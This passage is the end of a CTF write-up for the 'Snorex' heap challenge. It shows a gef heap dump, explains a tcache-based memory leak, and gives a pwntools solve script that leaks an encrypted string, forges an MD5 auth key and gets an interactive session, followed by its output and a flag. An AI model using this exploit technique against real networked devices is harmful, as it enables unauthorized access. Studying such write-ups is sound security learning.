0x7fffe8000b60|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000115 | ................ |
0x7fffe8000b70|+0x00010|+0x002a0: 0x00005552aaab22a0 0xb5a77b7045543dd6 | ."..RU...=TEp{.. | <- tcache[idx=15,sz=0x110][1/2]
0x7fffe8000b80|+0x00020|+0x002b0: 0x4141414141414141 0x4141414141414141 | AAAAAAAAAAAAAAAA |
* 14 lines, 0xe0 bytes
0x7fffe8000c70|+0x00000|+0x003a0: 0x0000000000000110 0x0000000000000115 | ................ |
0x7fffe8000c80|+0x00010|+0x003b0: 0x00315845524f4e53 0x2d5a454b41460a31 | SNOREX1.1.FAKEZ- |
0x7fffe8000c90|+0x00020|+0x003c0: 0x31304d41432d4b32 0x393133363637310a | 2K-CAM01.1766319 |
0x7fffe8000ca0|+0x00030|+0x003d0: 0x3a42410a0a303639 0x43373a44343a3231 | 960..AB:12:4D:7C |
0x7fffe8000cb0|+0x00040|+0x003e0: 0x360a30313a30323a 0x3061666131666138 | :20:10.68af1afa0 |
0x7fffe8000cc0|+0x00050|+0x003f0: 0x6264363434376134 0x3639373561623033 | 4a7446db30ba5796 |
0x7fffe8000cd0|+0x00060|+0x00400: 0x00000a3332343837 0x0000000000000000 | 78423........... |
0x7fffe8000ce0|+0x00070|+0x00410: 0x0000000000000000 0x0000000000000000 | ................ |
* 9 lines, 0x90 bytes
0x7fffe8000d80|+0x00000|+0x004b0: 0x0000000000000000 0x0000000000020281 | ................ | <- top
0x7fffe8000d90|+0x00010|+0x004c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8230 lines, 0x20260 bytes
gef>
Looking at it, we can see a freed tcache bin at the top of the encrypt_str memory.
Now if we allocate a size of 0x100 that would give us 0x7fffe8000b70 but because ctx is also of size 0x108 that would make allocation from the top chunk which is going to be below encrypt_str.
To go around this, we simply allocate a chunk of larger size in my case i used 0x200, this means it is going to be gotten from the top chunk and then ctx from the tcache leading us to leak encrypt_str.
Now with that we can leak the values, generated the expected auth code and get the flag.
Here’s my solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
#host, port = "129.212.160.155", 50075
host, port = "localhost", 3500
def htonl(hostlong):
return struct.pack("!I", hostlong)
def handleDump(LEN, DATA):
IQ_CMD = 0x6
PROTO_HDR = 0x328
PROTO_SIZE = 0x1122
HEADER = htonl(IQ_CMD) + htonl(LEN) + p16(PROTO_HDR) + p16(PROTO_SIZE) + DATA
return HEADER
def handleAuthReset(LEN, DATA):
RESET_CMD = 0x0
HEADER = htonl(RESET_CMD) + htonl(LEN) + DATA
return HEADER
def handleAuthConn(auth):
AUTH_CMD = 0x1
HEADER = htonl(AUTH_CMD) + htonl(len(auth)) + auth.encode()
return HEADER
def thread1():
p = remote(host, port)
proto = handleDump(0x100, b"A"*(0x100 - 0x4))
proto += handleAuthReset(0x100, b"A"*0x100)
p.send(proto)
p.shutdown()
def thread2():
p = remote(host, port)
proto = handleDump(0x200, b"A"*(0x200 - 0x4))
p.send(proto)
raw_string = p.recvlines(7)
cam = b"1\n"
cam += raw_string[-5]
cam += b"\n"
cam += raw_string[-4]
cam += b"\n\n"
cam += raw_string[-2]
cam += b"\n"
cam += raw_string[-1]
cam += b"\n"
auth_key = hashlib.md5(cam).hexdigest()
info(f"encrypted str: {cam}")
info(f"auth key: {auth_key}")
proto = handleAuthConn(auth_key)
p.send(proto)
p.interactive()
def main():
thread1()
thread2()
if __name__ == "__main__":
main()
Running it works:
1
2
3
4
5
6
7
8
9
10
11
~/Desktop/CTF/NahamconWinter25/Snorex ❯ python3 solve.py
[+] Opening connection to localhost on port 3500: Done
[+] Opening connection to localhost on port 3500: Done
[*] encrypted str: b'1\nFAKEZ-2K-CAM01\n1766320362\n\nAB:12:4D:7C:20:10\n60c3c42ea3d49e017358437a24aae3\n'
[*] auth key: 82ac74dbc50d4a89fa832600915389a9
[*] Switching to interactive mode
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x02\x00\x00\x00\x00\x00\x00(\x03"\x11AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$\x00\x00\x00\x00\x00\x00\x00&$
flag{now_repeat_against_remote_server}
[*] Interrupted
[*] Closed connection to localhost port 3500
[*] Closed connection to localhost port 3500
Note: The exploit is not fully stable and may require multiple runs to succeed.
Adios 🫡

